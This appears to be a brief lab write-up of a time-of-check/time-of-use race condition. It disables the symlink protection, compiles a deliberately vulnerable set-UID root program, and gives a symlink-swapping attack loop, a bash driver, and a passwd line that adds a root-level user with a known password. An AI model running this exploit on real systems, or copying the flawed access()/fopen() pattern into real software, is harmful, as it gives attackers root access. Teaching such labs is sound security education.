the first thing to do is to disable the defense:
$ sudo sysctl -w fs.protected_symlinks=0
the vulnerable program
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
char *fn="tmp/XYZ";
char buffer[60];
FILE *fp;
scanf("%50s",buffer);
if(!access(fn,W_OK)){//<-------------------------------1
fp=fopen(fn,"a+");//<-----------------------------------2
fwrite("\n",sizeof(char),1,fp);
fwrite(buffer,sizeof(char),strlen(buffer),fp);
fclose(fp);
}else printf("no permission \n");
}
compile and set-UID
$gcc -o vulp vulp.c
$sudo chown root vulp
$sudo chmod 4755 vulp
how the race works?
‘fn’ is different pointer in line 1 and 2!
“/tmp/XYZ” just a symlink, can use
‘unlink(Symbol)’
‘symlink(Target,Symbol)’
should have a attack program
we add a root user to the host, with magic password
#include <unistd.h>
int main()
{
while(1)
{
unlink("/tmp/XYZ");
symlink("/dev/null","/tmp/XYZ");
usleep(1000);
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
usleep(1000);
}
return 0;
}
and we also need to check if our attack is worked or not
we can use “ls -l /etc/passwd” to check if the passwd file has been changed…
a shell script can help:
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
./vulp < magic
new=$($CHECK_FILE)
done
echo "STOP!the passwd file has been changed!"
and magic:
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
first of all, we run the bash script
and we run the attack program in another terminal
and after a wile it works!